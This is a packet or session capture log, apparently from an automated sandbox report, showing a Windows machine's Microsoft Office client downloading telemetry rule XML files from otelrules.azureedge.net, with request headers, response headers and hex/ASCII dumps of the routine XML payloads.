2024-11-30 03:13:01 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:00 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:01 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 34b38576-901e-007b-60db-41ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031301Z-174f7845968jrjrxhC1EWRmmrs0000001100000000007k02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:01 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:01 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:02 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: f4671ffc-301e-0000-793a-40eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031302Z-174f7845968j6t2phC1EWRcfe8000000110g000000008y9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:02 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:02 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:02 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:02 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 92910895-401e-008c-43af-4286c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031302Z-174f7845968j6t2phC1EWRcfe80000001130000000001x04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 03:13:02 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:02 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: cc8e1852-401e-005b-69b5-429c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031302Z-174f7845968n2hr8hC1EWR9cag00000010dg00000000e6qw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:03 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:02 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:03 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 417f12c6-b01e-003e-571e-428e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031303Z-174f7845968px8v7hC1EWR08ng000000113000000000ae67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:03 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:02 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:03 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: e52eaca9-401e-0064-32a1-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031303Z-174f7845968psccphC1EWRuz9s000000116g0000000015pt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:03 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:04 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:04 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 6df8c679-c01e-008e-163d-417381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031304Z-174f7845968xlwnmhC1EWR0sv800000010qg000000007ebp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:04 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:04 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:04 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 96139815-c01e-0046-2141-402db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031304Z-174f7845968qj8jrhC1EWRh41s00000010pg00000000mcyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:05 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:04 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:05 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 32ac4486-a01e-0050-5791-3fdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031305Z-174f7845968kvnqxhC1EWRmf3g0000000mmg00000000ce3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:05 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:05 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:05 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 32ac451f-a01e-0050-6491-3fdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031305Z-174f7845968xr5c2hC1EWRd0hn0000000ht0000000002zya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:05 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:05 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:05 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 069fcaeb-401e-0016-5ff7-4153e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031305Z-174f7845968vqt9xhC1EWRgten00000010v000000000dtu0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:05 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49902	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
